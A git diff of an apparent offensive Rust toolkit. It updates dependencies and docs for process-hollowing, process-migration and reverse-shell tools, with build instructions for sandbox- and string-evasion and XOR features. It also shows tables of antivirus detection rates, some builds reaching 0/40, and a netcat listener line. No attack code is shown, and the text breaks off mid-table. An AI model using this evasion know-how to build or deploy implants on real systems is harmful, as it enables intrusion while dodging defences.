diff --git a/.custom_shields/hash_params.json b/.custom_shields/hash_params.json deleted file mode 100644 index a86dc65..0000000 --- a/.custom_shields/hash_params.json +++ /dev/null @@ -1,6 +0,0 @@ -{ - "schemaVersion": 1, - "label": "hash_params", - "message": "1.0.0", - "color": "blue" -} \ No newline at end of file diff --git a/.custom_shields/process_hollowing.json b/.custom_shields/process_hollowing.json deleted file mode 100644 index b54d63c..0000000 --- a/.custom_shields/process_hollowing.json +++ /dev/null @@ -1,6 +0,0 @@ -{ - "schemaVersion": 1, - "label": "process_hollowing", - "message": "1.7.1", - "color": "blue" -} \ No newline at end of file diff --git a/.custom_shields/process_migration.json b/.custom_shields/process_migration.json deleted file mode 100644 index 35072f3..0000000 --- a/.custom_shields/process_migration.json +++ /dev/null @@ -1,6 +0,0 @@ -{ - "schemaVersion": 1, - "label": "process_migration", - "message": "1.9.1", - "color": "blue" -} \ No newline at end of file diff --git a/.custom_shields/tcp_reverse_shell.json b/.custom_shields/tcp_reverse_shell.json deleted file mode 100644 index f66ecd1..0000000 --- a/.custom_shields/tcp_reverse_shell.json +++ /dev/null @@ -1,6 +0,0 @@ -{ - "schemaVersion": 1, - "label": "tcp_reverse_shell", - "message": "1.3.1", - "color": "blue" -} \ No newline at end of file diff --git a/.custom_shields/xor_params.json b/.custom_shields/xor_params.json deleted file mode 100644 index fa19ae5..0000000 --- a/.custom_shields/xor_params.json +++ /dev/null @@ -1,6 +0,0 @@ -{ - "schemaVersion": 1, - "label": "xor_params", - "message": "1.2.0", - "color": "blue" -} \ No newline at end of file diff --git a/.gitignore b/.gitignore index 7d832c2..014d5d2 100644 --- a/.gitignore +++ b/.gitignore @@ -4,4 +4,5 @@ target/ # Files -*.txt \ No newline at end of file +*.txt +.DS_Store diff --git a/Cargo.lock b/Cargo.lock index 0d0b621..1e6832a 100644 --- a/Cargo.lock +++ b/Cargo.lock @@ -109,9 +109,9 @@ checksum = "baf1de4339761588bc0619e3cbc0120ee582ebb74b53b4efbf79117bd2da40sfd" [[package]] name = "getrandom" -version = "0.2.7" +version = "0.2.8" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "4eb1a864a501629691edf6c15a593b7a51eebaa1e8468e9ddc623de7c9b58ec6" +checksum = "c05aeb6a22b8f62540c194aac980f2115af067bfe15a0734d7277a768d396b31" dependencies = [ "cfg-if", "libc", @@ -120,7 +120,7 @@ dependencies = [ [[package]] name = "hash_params" -version = "1.0.0" +version = "1.0.1" dependencies = [ "rco_config", "rco_utils", @@ -128,9 +128,9 @@ dependencies = [ [[package]] name = "libc" -version = "0.2.132" +version = "0.2.137" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "8371e4e5341c3a96db127eb2465ac681ced4c433e01dd0e938adbef26ba93ba5" +checksum = "fc7fcc620a3bff7cdd7a365be3376c97191aeaccc2a603e600951e452615bf89" [[package]] name = "log" @@ -219,13 +219,13 @@ checksum = "8b870d8c151b6f2fb93e84a13146138f05d02ed11c7e7c54f8826aaaf7c9f184" [[package]] name = "ppv-lite86" -version = "0.2.16" +version = "0.2.17" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "eb9f9e6e233e5c4a35559a617bf40a4ec447db2e84c20b55a6f83167b7e57872" +checksum = "5b40af805b3121feab8a3c29f04d8ad262fa8e0561883e7653e024ae4479e6de" [[package]] name = "process_hollowing" -version = "1.7.1" +version = "1.10.0" dependencies = [ "nix", "rco_config", @@ -235,7 +235,7 @@ dependencies = [ [[package]] name = "process_migration" -version = "1.9.1" +version = "1.11.0" dependencies = [ "nix", "rco_config", @@ -279,7 +279,7 @@ version = "0.2.0" [[package]] name = "rco_utils" -version = "1.0.1" +version = "1.2.0" dependencies = [ "rand", "windows", @@ -370,7 +370,7 @@ checksum = "20518fe4a4c9acf048008599e464deb21beeae3d3578418951a189c235a7a9a8" [[package]] name = "tcp_reverse_shell" -version = "1.3.1" +version = "1.4.1" dependencies = [ "rco_config", "rco_utils", @@ -385,9 +385,9 @@ checksum = "9c8d87e72b64a3b4db28d11ce29237c246188f4f51057d65a7eab63b7987e423" [[package]] name = "windows" -version = "0.40.0" +version = "0.43.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "e30acc718a52fb130fec72b1cb5f55ffeeec9253e1b785e94db222178a6acaa1" +checksum = "04662ed0e3e5630dfa9b26e4cb823b817f1a9addda855d973a9458c236556244" dependencies = [ "windows_aarch64_gnullvm", "windows_aarch64_msvc", @@ -400,45 +400,45 @@ dependencies = [ [[package]] name = "windows_aarch64_gnullvm" -version = "0.40.0" +version = "0.42.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "f3caa4a1a16561b714323ca6b0817403738583033a6a92e04c5d10d4ba37ca10" +checksum = "41d2aa71f6f0cbe00ae5167d90ef3cfe66527d6f613ca78ac8024c3ccab9a19e" [[package]] name = "windows_aarch64_msvc" -version = "0.40.0" +version = "0.42.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "328973c62dfcc50fb1aaa8e7100676e0b642fe56bac6bafff3327902db843ab4" +checksum = "dd0f252f5a35cac83d6311b2e795981f5ee6e67eb1f9a7f64eb4500fbc4dcdb4" [[package]] name = "windows_i686_gnu" -version = "0.40.0" +version = "0.42.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "aa5b09fad70f0df85dea2ac2a525537e415e2bf63ee31cf9b8e263645ee9f3c1" +checksum = "fbeae19f6716841636c28d695375df17562ca208b2b7d0dc47635a50ae6c5de7" [[package]] name = "windows_i686_msvc" -version = "0.40.0" +version = "0.42.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "2a1ad4031c1a98491fa195d8d43d7489cb749f135f2e5c4eed58da094bd0d876" +checksum = "84c12f65daa39dd2babe6e442988fc329d6243fdce47d7d2d155b8d874862246" [[package]] name = "windows_x86_64_gnu" -version = "0.40.0" +version = "0.42.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "520ff37edd72da8064b49d2281182898e17f0688ae9f4070bca27e4b5c162ac7" +checksum = "bf7b1b21b5362cbc318f686150e5bcea75ecedc74dd157d874d754a2ca44b0ed" [[package]] name = "windows_x86_64_gnullvm" -version = "0.40.0" +version = "0.42.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "046e5b82215102c44fd75f488f1b9158973d02aa34d06ed85c23d6f5520a2853" +checksum = "09d525d2ba30eeb3297665bd434a54297e4170c7f1a44cad4ef58095b4cd2028" [[package]] name = "windows_x86_64_msvc" -version = "0.40.0" +version = "0.42.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "2a0c9c6df55dd1bfa76e131cef44bdd8ec9c819ef3611f04dfe453fd5bfeda28" +checksum = "f40009d85759725a34da6d89a94e63d7bdc50a862acf0dbc7c8e488f1edcb6f5" [[package]] name = "xor_params" diff --git a/docs/_config.yml b/docs/_config.yml index 553feb1..5154ef9 100644 --- a/docs/_config.yml +++ b/docs/_config.yml @@ -11,4 +11,3 @@ include: - process_migration.md - tcp_reverse_shell.md - xor_params.md - - assets/js/copy_code.js diff --git a/docs/assets/images/linux/hollowing.png b/docs/assets/images/linux/hollowing.png new file mode 100644 index 0000000..b5260bd Binary files /dev/null and b/docs/assets/images/linux/hollowing.png differ diff --git a/docs/assets/images/linux/hollowing_xor.png b/docs/assets/images/linux/hollowing_xor.png new file mode 100644 index 0000000..8ca5cd6 Binary files /dev/null and b/docs/assets/images/linux/hollowing_xor.png differ diff --git a/docs/assets/images/linux/migration.png b/docs/assets/images/linux/migration.png new file mode 100644 index 0000000..35c07fd Binary files /dev/null and b/docs/assets/images/linux/migration.png differ diff --git a/docs/assets/images/linux/migration_xor.png b/docs/assets/images/linux/migration_xor.png new file mode 100644 index 0000000..f7006a6 Binary files /dev/null and b/docs/assets/images/linux/migration_xor.png differ diff --git a/docs/assets/images/linux/shell.png b/docs/assets/images/linux/shell.png new file mode 100644 index 0000000..2416dc6 Binary files /dev/null and b/docs/assets/images/linux/shell.png differ diff --git a/docs/assets/images/process_hollowing.png b/docs/assets/images/process_hollowing.png deleted file mode 100644 index 640f8c8..0000000 Binary files a/docs/assets/images/process_hollowing.png and /dev/null differ diff --git a/docs/assets/images/process_hollowing_antisand_antistring_exe.png b/docs/assets/images/process_hollowing_antisand_antistring_exe.png deleted file mode 100644 index d603f3c..0000000 Binary files a/docs/assets/images/process_hollowing_antisand_antistring_exe.png and /dev/null differ diff --git a/docs/assets/images/process_hollowing_antisand_antistring_xor_exe.png b/docs/assets/images/process_hollowing_antisand_antistring_xor_exe.png deleted file mode 100644 index 7f330ca..0000000 Binary files a/docs/assets/images/process_hollowing_antisand_antistring_xor_exe.png and /dev/null differ diff --git a/docs/assets/images/process_hollowing_antisand_exe.png b/docs/assets/images/process_hollowing_antisand_exe.png deleted file mode 100644 index f4ac7e2..0000000 Binary files a/docs/assets/images/process_hollowing_antisand_exe.png and /dev/null differ diff --git a/docs/assets/images/process_hollowing_antisand_xor_exe.png b/docs/assets/images/process_hollowing_antisand_xor_exe.png deleted file mode 100644 index 0eb3add..0000000 Binary files a/docs/assets/images/process_hollowing_antisand_xor_exe.png and /dev/null differ diff --git a/docs/assets/images/process_hollowing_antistring_exe.png b/docs/assets/images/process_hollowing_antistring_exe.png deleted file mode 100644 index 69e757b..0000000 Binary files a/docs/assets/images/process_hollowing_antistring_exe.png and /dev/null differ diff --git a/docs/assets/images/process_hollowing_antistring_xor_exe.png b/docs/assets/images/process_hollowing_antistring_xor_exe.png deleted file mode 100644 index b2d3d8b..0000000 Binary files a/docs/assets/images/process_hollowing_antistring_xor_exe.png and /dev/null differ diff --git a/docs/assets/images/process_hollowing_exe.png b/docs/assets/images/process_hollowing_exe.png deleted file mode 100644 index 69c37bb..0000000 Binary files a/docs/assets/images/process_hollowing_exe.png and /dev/null differ diff --git a/docs/assets/images/process_hollowing_xor.png b/docs/assets/images/process_hollowing_xor.png deleted file mode 100644 index efb598f..0000000 Binary files a/docs/assets/images/process_hollowing_xor.png and /dev/null differ diff --git a/docs/assets/images/process_hollowing_xor_exe.png b/docs/assets/images/process_hollowing_xor_exe.png deleted file mode 100644 index dfeb622..0000000 Binary files a/docs/assets/images/process_hollowing_xor_exe.png and /dev/null differ diff --git a/docs/assets/images/process_migration.png b/docs/assets/images/process_migration.png deleted file mode 100644 index 969f163..0000000 Binary files a/docs/assets/images/process_migration.png and /dev/null differ diff --git a/docs/assets/images/process_migration_antisand_antistring_exe.png b/docs/assets/images/process_migration_antisand_antistring_exe.png deleted file mode 100644 index 2cd2949..0000000 Binary files a/docs/assets/images/process_migration_antisand_antistring_exe.png and /dev/null differ diff --git a/docs/assets/images/process_migration_antisand_antistring_xor_exe.png b/docs/assets/images/process_migration_antisand_antistring_xor_exe.png deleted file mode 100644 index 5c8b4a3..0000000 Binary files a/docs/assets/images/process_migration_antisand_antistring_xor_exe.png and /dev/null differ diff --git a/docs/assets/images/process_migration_antisand_exe.png b/docs/assets/images/process_migration_antisand_exe.png deleted file mode 100644 index 9c7fe91..0000000 Binary files a/docs/assets/images/process_migration_antisand_exe.png and /dev/null differ diff --git a/docs/assets/images/process_migration_antisand_xor_exe.png b/docs/assets/images/process_migration_antisand_xor_exe.png deleted file mode 100644 index a3e4d4b..0000000 Binary files a/docs/assets/images/process_migration_antisand_xor_exe.png and /dev/null differ diff --git a/docs/assets/images/process_migration_antistring_exe.png b/docs/assets/images/process_migration_antistring_exe.png deleted file mode 100644 index 9aa5902..0000000 Binary files a/docs/assets/images/process_migration_antistring_exe.png and /dev/null differ diff --git a/docs/assets/images/process_migration_antistring_xor_exe.png b/docs/assets/images/process_migration_antistring_xor_exe.png deleted file mode 100644 index 3e7ec9f..0000000 Binary files a/docs/assets/images/process_migration_antistring_xor_exe.png and /dev/null differ diff --git a/docs/assets/images/process_migration_exe.png b/docs/assets/images/process_migration_exe.png deleted file mode 100644 index 1a6c660..0000000 Binary files a/docs/assets/images/process_migration_exe.png and /dev/null differ diff --git a/docs/assets/images/process_migration_xor.png b/docs/assets/images/process_migration_xor.png deleted file mode 100644 index 2b033b9..0000000 Binary files a/docs/assets/images/process_migration_xor.png and /dev/null differ diff --git a/docs/assets/images/process_migration_xor_exe.png b/docs/assets/images/process_migration_xor_exe.png deleted file mode 100644 index ced6fa5..0000000 Binary files a/docs/assets/images/process_migration_xor_exe.png and /dev/null differ diff --git a/docs/assets/images/tcp_reverse_shell.png b/docs/assets/images/tcp_reverse_shell.png deleted file mode 100644 index 3baa000..0000000 Binary files a/docs/assets/images/tcp_reverse_shell.png and /dev/null differ diff --git a/docs/assets/images/tcp_reverse_shell_antisand_antistring_exe.png b/docs/assets/images/tcp_reverse_shell_antisand_antistring_exe.png deleted file mode 100644 index 61521e1..0000000 Binary files a/docs/assets/images/tcp_reverse_shell_antisand_antistring_exe.png and /dev/null differ diff --git a/docs/assets/images/tcp_reverse_shell_antisand_exe.png b/docs/assets/images/tcp_reverse_shell_antisand_exe.png deleted file mode 100644 index 38dd182..0000000 Binary files a/docs/assets/images/tcp_reverse_shell_antisand_exe.png and /dev/null differ diff --git a/docs/assets/images/tcp_reverse_shell_antistring_exe.png b/docs/assets/images/tcp_reverse_shell_antistring_exe.png deleted file mode 100644 index 3fac177..0000000 Binary files a/docs/assets/images/tcp_reverse_shell_antistring_exe.png and /dev/null differ diff --git a/docs/assets/images/tcp_reverse_shell_exe.png b/docs/assets/images/tcp_reverse_shell_exe.png deleted file mode 100644 index 44c303d..0000000 Binary files a/docs/assets/images/tcp_reverse_shell_exe.png and /dev/null differ diff --git a/docs/assets/images/windows/hollowing.png b/docs/assets/images/windows/hollowing.png new file mode 100644 index 0000000..90aeba2 Binary files /dev/null and b/docs/assets/images/windows/hollowing.png differ diff --git a/docs/assets/images/windows/hollowing_antisand.png b/docs/assets/images/windows/hollowing_antisand.png new file mode 100644 index 0000000..e7071ff Binary files /dev/null and b/docs/assets/images/windows/hollowing_antisand.png differ diff --git a/docs/assets/images/windows/hollowing_antisand_antistring.png b/docs/assets/images/windows/hollowing_antisand_antistring.png new file mode 100644 index 0000000..73c1291 Binary files /dev/null and b/docs/assets/images/windows/hollowing_antisand_antistring.png differ diff --git a/docs/assets/images/windows/hollowing_antisand_antistring_xor.png b/docs/assets/images/windows/hollowing_antisand_antistring_xor.png new file mode 100644 index 0000000..6ed8f2c Binary files /dev/null and b/docs/assets/images/windows/hollowing_antisand_antistring_xor.png differ diff --git a/docs/assets/images/windows/hollowing_antisand_xor.png b/docs/assets/images/windows/hollowing_antisand_xor.png new file mode 100644 index 0000000..6b8175e Binary files /dev/null and b/docs/assets/images/windows/hollowing_antisand_xor.png differ diff --git a/docs/assets/images/windows/hollowing_antistring.png b/docs/assets/images/windows/hollowing_antistring.png new file mode 100644 index 0000000..bc51a57 Binary files /dev/null and b/docs/assets/images/windows/hollowing_antistring.png differ diff --git a/docs/assets/images/windows/hollowing_antistring_xor.png b/docs/assets/images/windows/hollowing_antistring_xor.png new file mode 100644 index 0000000..782fe2d Binary files /dev/null and b/docs/assets/images/windows/hollowing_antistring_xor.png differ diff --git a/docs/assets/images/windows/hollowing_xor.png b/docs/assets/images/windows/hollowing_xor.png new file mode 100644 index 0000000..d485997 Binary files /dev/null and b/docs/assets/images/windows/hollowing_xor.png differ diff --git a/docs/assets/images/windows/migration.png b/docs/assets/images/windows/migration.png new file mode 100644 index 0000000..8bb28c6 Binary files /dev/null and b/docs/assets/images/windows/migration.png differ diff --git a/docs/assets/images/windows/migration_antisand.png b/docs/assets/images/windows/migration_antisand.png new file mode 100644 index 0000000..39fc370 Binary files /dev/null and b/docs/assets/images/windows/migration_antisand.png differ diff --git a/docs/assets/images/windows/migration_antisand_antistring.png b/docs/assets/images/windows/migration_antisand_antistring.png new file mode 100644 index 0000000..82ce83d Binary files /dev/null and b/docs/assets/images/windows/migration_antisand_antistring.png differ diff --git a/docs/assets/images/windows/migration_antisand_antistring_xor.png b/docs/assets/images/windows/migration_antisand_antistring_xor.png new file mode 100644 index 0000000..852d0a2 Binary files /dev/null and b/docs/assets/images/windows/migration_antisand_antistring_xor.png differ diff --git a/docs/assets/images/windows/migration_antisand_xor.png b/docs/assets/images/windows/migration_antisand_xor.png new file mode 100644 index 0000000..a65db0f Binary files /dev/null and b/docs/assets/images/windows/migration_antisand_xor.png differ diff --git a/docs/assets/images/windows/migration_antistring.png b/docs/assets/images/windows/migration_antistring.png new file mode 100644 index 0000000..97d41b2 Binary files /dev/null and b/docs/assets/images/windows/migration_antistring.png differ diff --git a/docs/assets/images/windows/migration_antistring_xor.png b/docs/assets/images/windows/migration_antistring_xor.png new file mode 100644 index 0000000..228b514 Binary files /dev/null and b/docs/assets/images/windows/migration_antistring_xor.png differ diff --git a/docs/assets/images/windows/migration_xor.png b/docs/assets/images/windows/migration_xor.png new file mode 100644 index 0000000..a2a2ece Binary files /dev/null and b/docs/assets/images/windows/migration_xor.png differ diff --git a/docs/assets/images/windows/shell.png b/docs/assets/images/windows/shell.png new file mode 100644 index 0000000..3649ee4 Binary files /dev/null and b/docs/assets/images/windows/shell.png differ diff --git a/docs/assets/images/windows/shell_antisand.png b/docs/assets/images/windows/shell_antisand.png new file mode 100644 index 0000000..8aac164 Binary files /dev/null and b/docs/assets/images/windows/shell_antisand.png differ diff --git a/docs/assets/images/windows/shell_antisand_antistring.png b/docs/assets/images/windows/shell_antisand_antistring.png new file mode 100644 index 0000000..0c1c47d Binary files /dev/null and b/docs/assets/images/windows/shell_antisand_antistring.png differ diff --git a/docs/assets/images/windows/shell_antistring.png b/docs/assets/images/windows/shell_antistring.png new file mode 100644 index 0000000..4067135 Binary files /dev/null and b/docs/assets/images/windows/shell_antistring.png differ diff --git a/docs/hash_params.md b/docs/hash_params.md index c25ffea..15283f5 100644 --- a/docs/hash_params.md +++ b/docs/hash_params.md @@ -4,9 +4,7 @@ title: "Hash params" # RCO: Hash Params -[![Custom badge](https://img.shields.io/endpoint?url=https%3A%2F%2Fraw.githubusercontent.com%2Fkmanc%2Fremote_code_oxidation%2Fmaster%2F.custom_shields%2Fhash_params.json)](https://github.com/kmanc/remote_code_oxidation/tree/master/hash_params) - -[![hash_params](https://user-images.githubusercontent.com/14863147/164768272-9b010714-6b81-42d1-9caf-d08324827959.gif)](https://raw.githubusercontent.com/kmanc/remote_code_oxidation/gh-pages/assets/gifs/hash_params.gif) +[![hash_params](https://user-images.githubusercontent.com/14863147/164768272-9b010714-6b81-42d1-9caf-d08324827959.gif)](https://raw.githubusercontent.com/kmanc/remote_code_oxidation/main/docs/assets/gifs/hash_params.gif) ## How it works diff --git a/docs/index.md b/docs/index.md index 6d2caff..33451d4 100644 --- a/docs/index.md +++ b/docs/index.md @@ -15,17 +15,21 @@ RCO tools can be compiled on either Linux or Windows systems to provide its user ## Tools list -[![Custom badge](https://img.shields.io/endpoint?url=https%3A%2F%2Fraw.githubusercontent.com%2Fkmanc%2Fremote_code_oxidation%2Fmaster%2F.custom_shields%2Fhash_params.json)](https://kmanc.github.io/remote_code_oxidation/hash_params.html) -[![Custom badge](https://img.shields.io/endpoint?url=https%3A%2F%2Fraw.githubusercontent.com%2Fkmanc%2Fremote_code_oxidation%2Fmaster%2F.custom_shields%2Fprocess_hollowing.json)](https://kmanc.github.io/remote_code_oxidation/process_hollowing.html) +[![Process hollowing version unavailable](https://img.shields.io/crates/v/process_hollowing?label=process_hollowing)](https://kmanc.github.io/remote_code_oxidation/process_hollowing.html) -[![Custom badge](https://img.shields.io/endpoint?url=https%3A%2F%2Fraw.githubusercontent.com%2Fkmanc%2Fremote_code_oxidation%2Fmaster%2F.custom_shields%2Fprocess_migration.json)](https://kmanc.github.io/remote_code_oxidation/process_migration.html) +[![Process migration version unavailable](https://img.shields.io/crates/v/process_migration?label=process_migration)](https://kmanc.github.io/remote_code_oxidation/process_migration.html) -[![Custom badge](https://img.shields.io/endpoint?url=https%3A%2F%2Fraw.githubusercontent.com%2Fkmanc%2Fremote_code_oxidation%2Fmaster%2F.custom_shields%2Ftcp_reverse_shell.json)](https://kmanc.github.io/remote_code_oxidation/tcp_reverse_shell.html) +[![TCP reverse shell version unavailable](https://img.shields.io/crates/v/tcp_reverse_shell?label=tcp_reverse_shell)](https://kmanc.github.io/remote_code_oxidation/tcp_reverse_shell.html) -[![Custom badge](https://img.shields.io/endpoint?url=https%3A%2F%2Fraw.githubusercontent.com%2Fkmanc%2Fremote_code_oxidation%2Fmaster%2F.custom_shields%2Fxor_params.json)](https://kmanc.github.io/remote_code_oxidation/xor_params.html) -## Setup +## Helper tools + +1. [hash_params](https://kmanc.github.io/remote_code_oxidation/hash_params.html) + +2. [xor_params](https://kmanc.github.io/remote_code_oxidation/xor_params.html) + +## Building the executables Clone the repo ```commandline @@ -33,7 +37,11 @@ git clone https://github.com/kmanc/remote_code_oxidation.git ``` -### From Linux host for Linux target +### From Linux +--- + +##### For Linux +--- Install Rust ```commandline @@ -47,31 +55,127 @@ sudo apt install build-essential Build! ```commandline -cargo build [-p package_name] [--features [xor][antisand]] [--release] +cargo build [-p package_name] [--features [antisand][,][antistring][,][xor]] [--release] ``` - -### From Linux host for Windows target +##### For Windows +--- Install Rust ```commandline curl --proto '=https' --tlsv1.2 -sSf https://sh.rustup.rs | sh ``` -Add dependencies for cross-compiling +Add dependencies for cross-compiling (1) +```commandline +rustup target add x86_64-pc-windows-gnu +``` + +Add dependencies for cross-compiling (2) ```commandline sudo apt install mingw-w64 -rustup target add x86_64-pc-windows-gnu ``` Build! ```commandline -cargo build --target x86_64-pc-windows-gnu [-p package_name] [--features [xor][antisand]] [--release] +cargo build --target x86_64-pc-windows-gnu [-p package_name] [--features [antisand][,][antistring][,][xor]] [--release] ``` -### From Windows host for Linux target -#### Todo +### From Mac +--- -### From Windows host for Windows target -#### Todo +##### For Linux +--- + +Install Rust +``` +curl --proto '=https' --tlsv1.2 -sSf https://sh.rustup.rs | sh +``` + +Add dependencies for cross-compiling (1) +```commandline +rustup target add x86_64-unknown-linux-musl +``` + +Add dependencies for cross-compiling (2) +```commandline +brew install filosottile/musl-cross/musl-cross +``` + +Configure linker for cross-compiling +```commandline +Create a file in your home directory's .cargo directory called config.toml with the following contents +[target.x86_64-unknown-linux-musl] +linker = "x86_64-linux-musl-gcc" +``` + +Build! +```commandline +cargo build --target x86_64-unknown-linux-musl [-p package_name] [--features [antisand][,][antistring][,][xor]] [--release] +``` + +##### For Windows +--- + +Install Rust +``` +curl --proto '=https' --tlsv1.2 -sSf https://sh.rustup.rs | sh +``` + +Add dependencies for cross-compiling (1) +```commandline +rustup target add x86_64-pc-windows-gnu +``` + +Add dependencies for cross-compiling (2) +```commandline +brew install mingw-w64 +``` + +Build! +```commandline +cargo build --target x86_64-pc-windows-gnu [-p package_name] [--features [antisand][,][antistring][,][xor]] [--release] +``` + + +### From Windows +--- + +##### For Linux +--- + +Install Rust +``` +Download and run the installer from the Rust website +``` + +Add dependencies for cross-compiling +```commandline +rustup target add x86_64-pc-windows-gnu +``` + +Configure linker for cross-compiling +```commandline +Create a file in your home directory's .cargo directory called config.toml with the following contents +[target.x86_64-unknown-linux-musl] +linker = "rust-lld" +``` + +Build! +```commandline +cargo build --target x86_64-unknown-linux-musl [-p package_name] [--features [antisand][,][antistring][,][xor]] [--release] +``` + +##### For Windows +--- + +Install Rust +``` +Download and run the installer from the Rust website +``` + +Build! +```commandline +cargo build [-p package_name] [--features [antisand][,][antistring][,][xor]] [--release] +``` diff --git a/docs/process_hollowing.md b/docs/process_hollowing.md index 26cf5e3..95ecee9 100644 --- a/docs/process_hollowing.md +++ b/docs/process_hollowing.md @@ -5,14 +5,14 @@ datatable: true # RCO: Process Hollowing -[![Custom badge](https://img.shields.io/endpoint?url=https%3A%2F%2Fraw.githubusercontent.com%2Fkmanc%2Fremote_code_oxidation%2Fmaster%2F.custom_shields%2Fprocess_hollowing.json)](https://github.com/kmanc/remote_code_oxidation/tree/master/process_hollowing) +[![Process hollowing version unavailable](https://img.shields.io/crates/v/process_hollowing?label=process_hollowing)](https://github.com/kmanc/remote_code_oxidation/tree/master/process_hollowing)
Target OS | Demo --------- | ---- -Linux | [![process_hollowing_linux](/assets/gifs/process_hollowing.gif)](https://raw.githubusercontent.com/kmanc/remote_code_oxidation/gh-pages/assets/gifs/process_hollowing.gif) -Windows | [![process_hollowing_windows](/assets/gifs/process_hollowing_windows.gif)](https://raw.githubusercontent.com/kmanc/remote_code_oxidation/gh-pages/assets/gifs/process_hollowing_windows.gif) +Linux | [![process_hollowing_linux](/assets/gifs/process_hollowing.gif)](https://raw.githubusercontent.com/kmanc/remote_code_oxidation/main/docs/assets/gifs/process_hollowing.gif) +Windows | [![process_hollowing_windows](/assets/gifs/process_hollowing_windows.gif)](https://raw.githubusercontent.com/kmanc/remote_code_oxidation/main/docs/assets/gifs/process_hollowing_windows.gif)
@@ -52,15 +52,15 @@ nc -nlvp 4444 Target OS | Features | Detections | Screenshot --------- | ----------------------------- | -------------------------------------- | ---------- -Linux | None | [7 / 40](https://kleenscan.com/scan_result/1177abafe77dc580337ec6294c68bdc4873ceb36a4eeac057fd0673c3ae50e7f) | [![process_hollowing_linux](/assets/images/process_hollowing.png)](https://raw.githubusercontent.com/kmanc/remote_code_oxidation/gh-pages/assets/images/process_hollowing.png) -Linux | `xor` | [0 / 40](https://kleenscan.com/scan_result/8a0268ca750a14fc93f40f6b1864f13ce94318c4c4a7ecc49dfeb332b9c9d860) | [![process_hollowing_linux_xor](/assets/images/process_hollowing_xor.png)](https://raw.githubusercontent.com/kmanc/remote_code_oxidation/gh-pages/assets/images/process_hollowing_xor.png) -Windows | None | [12 / 40](https://kleenscan.com/scan_result/dd7858b48235bc782383fa5a929125369c7918d3c119a9196b0fdab791624763) | [![process_hollowing_windows](/assets/images/process_hollowing_exe.png)](https://raw.githubusercontent.com/kmanc/remote_code_oxidation/gh-pages/assets/images/process_hollowing_exe.png) -Windows | `antisand` | [12 / 40](https://kleenscan.com/scan_result/dc73a322924b772b90957aaffe8d2735acd6d6049e0607a1befada2bc5aa86f3) | [![process_hollowing_windows_antisand](/assets/images/process_hollowing_antisand_exe.png)](https://raw.githubusercontent.com/kmanc/remote_code_oxidation/gh-pages/assets/images/process_hollowing_antisand_exe.png) -Windows | `antistring` | [12 / 40](https://kleenscan.com/scan_result/1505ac5f33afe16a79796045d80c6c55617944c86396411487f1cbd934e875fb) | [![process_hollowing_windows_antistring](/assets/images/process_hollowing_antistring_exe.png)](https://raw.githubusercontent.com/kmanc/remote_code_oxidation/gh-pages/assets/images/process_hollowing_antistring_exe.png) -Windows | `antisand,antistring` | [12 / 40](https://kleenscan.com/scan_result/177242f39b392107e4953a8cb717afbc6f912daa5bd9ec8d71a959834942db8d) | [![process_hollowing_windows_antisand_antistring](/assets/images/process_hollowing_antisand_antistring_exe.png)](https://raw.githubusercontent.com/kmanc/remote_code_oxidation/gh-pages/assets/images/process_hollowing_antisand_antistring_exe.png) -Windows | `xor` | [6 / 40](https://kleenscan.com/scan_result/455d775c517cf26a6e83a42b3eae7982364d8a8174127eca377094c05e0dd948) | [![process_hollowing_windows_xor](/assets/images/process_hollowing_xor_exe.png)](https://raw.githubusercontent.com/kmanc/remote_code_oxidation/gh-pages/assets/images/process_hollowing_xor_exe.png) -Windows | `antistring,xor` | [1 / 40](https://kleenscan.com/scan_result/e6214cb0175737d1e3bba8bafbaa17d5aa575f613dab718a6d35dd46c7af8767) | [![process_hollowing_windows_antistring_xor](/assets/images/process_hollowing_antistring_xor_exe.png)](https://raw.githubusercontent.com/kmanc/remote_code_oxidation/gh-pages/assets/images/process_hollowing_antistring_xor_exe.png) -Windows | `antisand,xor` | [0 / 40](https://kleenscan.com/scan_result/de899245ec6a258d741b6243d18cf10fae5e6a1fe344ab3d02f17899a67d2bb7) | [![process_hollowing_windows_antisand_xor](/assets/images/process_hollowing_antisand_xor_exe.png)](https://raw.githubusercontent.com/kmanc/remote_code_oxidation/gh-pages/assets/images/process_hollowing_antisand_xor_exe.png) -Windows | `antisand,antistring,xor` | [0 / 40](https://kleenscan.com/scan_result/49f53e2e15b86d9e5425d684e9ab964289d2d96fef8ca61ba927e3826ebd0392) | [![process_hollowing_windows_antisand_antistring_xor](/assets/images/process_hollowing_antisand_antistring_xor_exe.png)](https://raw.githubusercontent.com/kmanc/remote_code_oxidation/gh-pages/assets/images/process_hollowing_antisand_antistring_xor_exe.png) +Linux | None | [7 / 40](https://kleenscan.com/scan_result/a6de6fa00c7b8c0d3bb1fbd1f207509987610fd7037bd3ab7818c12030d6c266) | [![process_hollowing_linux](/assets/images/linux/hollowing.png)](https://raw.githubusercontent.com/kmanc/remote_code_oxidation/main/docs/assets/images/linux/hollowing.png) +Linux | `xor` | [1 / 40](https://kleenscan.com/scan_result/fd3affec1eaed16e9d6077e05f3807897a0994c33d3067ba53cdb907690b70e6) | [![process_hollowing_linux_xor](/assets/images/linux/hollowing_xor.png)](https://raw.githubusercontent.com/kmanc/remote_code_oxidation/main/docs/assets/images/linux/hollowing_xor.png) +Windows | None | [12 / 40](https://kleenscan.com/scan_result/74e2475b5b5e881d3b31c5d3bac5e36f4c8bfa33235eb810706c33f338dbeb7c) | [![process_hollowing_windows](/assets/images/windows/hollowing.png)](https://raw.githubusercontent.com/kmanc/remote_code_oxidation/main/docs/assets/images/windows/hollowing.png) +Windows | `antisand` | [11 / 40](https://kleenscan.com/scan_result/1ce970448fa81ba854643bf4663afef87b2bdb7aa05ceda720ef82a70f8d932a) | [![process_hollowing_windows_antisand](/assets/images/windows/hollowing_antisand.png)](https://raw.githubusercontent.com/kmanc/remote_code_oxidation/main/docs/assets/images/windows/hollowing_antisand.png) +Windows | `antisand,antistring` | [11 / 